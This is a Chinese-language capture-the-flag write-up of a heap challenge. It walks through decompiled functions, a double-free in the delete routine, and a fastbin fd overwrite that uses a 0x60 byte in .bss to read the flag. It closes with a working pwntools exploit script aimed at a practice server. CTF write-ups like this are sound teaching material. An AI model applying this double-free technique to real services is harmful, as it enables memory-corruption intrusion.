gyctf_2020_some_thing_exceting
挺简单的一道堆题,
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
64位没开pie,题目部署在libc2.23
main函数就不贴出来了
unsigned __int64 FLAGBSS()
{
FILE *stream; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
stream = fopen("/flag", "r");
if ( !stream )
{
puts("Emmmmmm!Maybe you want Fool me!");
exit(0);
}
byte_6020A0 = 0x60;
fgets(s, 45, stream);
return __readfsqword(0x28u) ^ v2;
}
把flag读入到bss
段并且,在上面有个0x60
,正好可以利用起来绕过fastbin的检查
初步思路就是利用doublefree改fd然后绕过fastbin,看看下面是否满足
unsigned __int64 ADD()
{
int nbytes; // [rsp+Ch] [rbp-24h] BYREF
int nbytes_4; // [rsp+10h] [rbp-20h] BYREF
int i; // [rsp+14h] [rbp-1Ch]
void *buf; // [rsp+18h] [rbp-18h]
void *v5; // [rsp+20h] [rbp-10h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
puts("#######################");
puts("# Create Banana #");
puts("#---------------------#");
for ( i = 0; i <= 9 && *(&ptr + i); ++i )
{
if ( i == 9 )
{
puts("# so much banana! #");
puts("#######################");
return __readfsqword(0x28u) ^ v6;
}
}
*(&ptr + i) = malloc(0x10uLL);
printf("> ba's length : ");
_isoc99_scanf("%d", &nbytes);
if ( nbytes <= 0 || nbytes > 0x70 )
{
puts("Emmmmmm!Maybe you want Fool me!");
EXIT();
}
buf = malloc(nbytes);
printf("> ba : ");
read(0, buf, (unsigned int)nbytes);
printf("> na's length : ");
_isoc99_scanf("%d", &nbytes_4);
if ( nbytes_4 <= 0 || nbytes_4 > 0x70 )
{
puts("Emmmmmm!Maybe you want Fool me!");
EXIT();
}
printf("> na : ");
v5 = malloc(nbytes_4);
read(0, v5, (unsigned int)nbytes_4);
*(_QWORD *)*(&ptr + i) = buf;
*((_QWORD *)*(&ptr + i) + 1) = v5;
puts("#---------------------#");
puts("# ALL Down! #");
puts("#######################");
return __readfsqword(0x28u) ^ v6;
}
add这里每次调用一次add就申请了3个堆,
第一个堆用来记录第二第三个堆的指针
第二个堆和第三个堆都差不多,size不能大于0x70
也就是打fastbin了
菜单上有edit,实际上没有,不贴了
unsigned __int64 DELE()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("#######################");
puts("# Delete Banana #");
puts("#---------------------#");
printf("> Banana ID : ");
_isoc99_scanf("%d", &v1);
if ( v1 > 0xA || !*(&ptr + (int)v1) )
{
puts("Emmmmmm!Maybe you want Fool me!");
EXIT();
}
free(*(void **)*(&ptr + (int)v1));
free(*((void **)*(&ptr + (int)v1) + 1));
free(*(&ptr + (int)v1));
puts("#---------------------#");
puts("# ALL Down! #");
puts("#######################");
return __readfsqword(0x28u) ^ v2;
}
uaf.
unsigned __int64 SHOW()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("#######################");
puts("# Delete Banana #");
puts("#---------------------#");
printf("> Banana ID : ");
printf("> SCP project ID : ");
_isoc99_scanf("%d", &v1);
if ( v1 > 0xA || !*(&ptr + (int)v1) )
{
puts("Emmmmmm!Maybe you want Fool me!");
EXIT();
}
printf("# Banana's ba is %s\n", *(const char **)*(&ptr + (int)v1));
printf("# Banana's na is %s\n", *((const char **)*(&ptr + (int)v1) + 1));
puts("#---------------------#");
puts("# ALL Down! #");
puts("#######################");
return __readfsqword(0x28u) ^ v2;
}
调用第一个堆存储的指针输出我们写的两个堆内容
,
思路跟开头差不多,基本没有阻碍
看一下bss
.bss:00000000006020A0 ?? byte_6020A0 db ?
.bss:00000000006020A1 ?? ?? ?? ?? ?? ?? ?? align 8
.bss:00000000006020A8 ; char s[64]
.bss:00000000006020A8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+s db 40h dup(?)
.bss:00000000006020A8
A8存储的是flag,A0是0x60
下面的0x6020A8-0x10
就是在这里建堆,然后刚好0x6020A8
处的0x60
能绕过fastbin的检查
前提是我们申请是0x50
,到这里基本就可以getshell了
下面exp15行为什么是0x60,调试一下就知道了
如果我们再申请0x50的话,就会把flag也申请进来,但是没有特定的size给他,就会无法绕过fastbin检查,然后就无法getshell了
from pwn import*
from Yapack import *
libc=ELF('./libc-2.23.so')
context(os='linux', arch='amd64',log_level='debug')
r,elf=rec("node4.buuoj.cn",26622,"./pwn",10)
bss=0x6020A8-0x10
add(0x50,b'aaaa',0x50,b'bbbb')
add(0x50,b'aaaa',0x50,b'bbbb')
dele(0)
dele(1)
dele(0)
add(0x50,p64(bss),0x50,b'bbbb')
add(0x50,b'aaaa',0x50,b'bbbb')
add(0x50,b'',0x60,b'')
show(4)
#debug()
ia()
最后因为我们输入了一个\n
所以会少掉一个f,不过无伤大雅